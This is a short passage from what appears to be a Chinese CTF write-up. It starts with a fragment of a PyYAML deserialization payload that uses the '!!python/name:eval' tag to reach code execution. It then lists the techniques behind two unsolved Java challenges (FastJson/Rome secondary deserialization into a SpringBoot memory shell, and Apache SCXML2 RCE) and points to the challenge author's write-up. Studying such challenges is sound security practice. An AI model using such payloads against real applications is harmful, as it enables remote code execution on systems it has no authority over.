        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

另外俩Java题现在还不会

EasyJava考点是FastJson Rome 二次反序列化打入SpringBoot高版本内存马

BabyJXvX考点是Apache SCXML2 RCE

这里附上出题人的wp链接

0 人点赞